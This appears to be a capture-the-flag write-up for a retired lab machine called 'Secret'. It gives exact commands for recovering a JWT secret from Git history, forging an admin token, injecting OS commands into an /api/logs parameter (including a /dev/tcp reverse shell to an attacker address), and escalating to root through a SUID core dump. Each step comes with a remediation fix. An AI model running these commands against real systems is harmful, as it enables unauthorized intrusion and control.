Secret
Summary
Target secret ($TARGET) runs a Node.js REST API exposed on port 3000 and proxied through nginx on port 80. The nginx virtual host served a downloadable ZIP of the full application source code, which contained an embedded Git repository.
Inspecting the commit history revealed a JWT signing secret that had been replaced in the live file but never purged from history. That secret was used to forge a valid admin token, which unlocked the /api/logs endpoint — a file-reader whose query parameter was concatenated directly into a shell command.
Injecting OS commands through that parameter gave remote code execution as application user dasith (uid=1000). Privilege escalation to root exploited a SUID-root binary (/opt/count): by running it against /root/root.txt and sending SIGABRT while the file was held open in memory, the kernel produced a core dump in /var/crash/ containing the file's contents in plaintext, readable by any local user.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"Attack path — how the box was taken
Exact commands 2
nmap -Pn -sV -p 22,80,3000 $TARGETcurl -sS http://$TARGET/Exact commands 2
curl -sS -o /tmp/secret_src.zip http://$TARGET/downloads/secret.zipunzip -q /tmp/secret_src.zip -d /tmp/secret_htb_src && ls -la /tmp/secret_htb_src/.gitFixRemove the application source archive and block Git directory access on the web serverHigh
Exact commands 2
git -C /tmp/secret_htb_src log --all --oneline -- .envgit -C /tmp/secret_htb_src show <earlier-commit-hash>:.envFixRotate all secrets exposed in Git history and enforce pre-commit secret scanningCritical
Exact commands 2
cd /tmp/secret_htb_src && node -e "const jwt=require('jsonwebtoken'); const secret=require('fs').readFileSync('.env','utf8').match(/TOKEN_SECRET=(.+)/)[1].trim(); console.log(jwt.sign({name:'theadmin'},secret));" > admin.jwtTOKEN=$(cat /tmp/secret_htb_src/admin.jwt); curl -sS -H "auth-token: $TOKEN" http://$TARGET:3000/api/privExact commands 3
TOKEN=$(cat /tmp/secret_htb_src/admin.jwt); curl -sS -G -H "auth-token: $TOKEN" --data-urlencode 'file=/dev/null;id' http://$TARGET:3000/api/logsTOKEN=$(cat /tmp/secret_htb_src/admin.jwt); curl -sS -G -H "auth-token: $TOKEN" --data-urlencode 'file=/dev/null; cat /home/dasith/user.txt' http://$TARGET:3000/api/logsTOKEN=$(cat /tmp/secret_htb_src/admin.jwt); curl -sS -G -H "auth-token: $TOKEN" --data-urlencode 'file=/dev/null; bash -c "bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1"' http://$TARGET:3000/api/logsFixReplace shell concatenation in /api/logs with a safe file-reading APICritical
Exact commands 6
find / -perm -4000 -type f 2>/dev/nullls -la /opt/count/opt/count /root/root.txt &kill -ABRT $(pidof count)apport-unpack /var/crash/_opt_count.1000.crash /tmp/crash_outstrings /tmp/crash_out/CoreDump | grep -A1 'root.txt'FixRemove the SUID bit from /opt/count and disable SUID core dumpsHigh
Attack patterns used
The transferable techniques behind this compromise.
SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001
What it is
Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.
Why it works
SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) |
| 80/tcp | http nginx 1.18.0 (Ubuntu) |
| 3000/tcp | http Node.js (Express middleware) |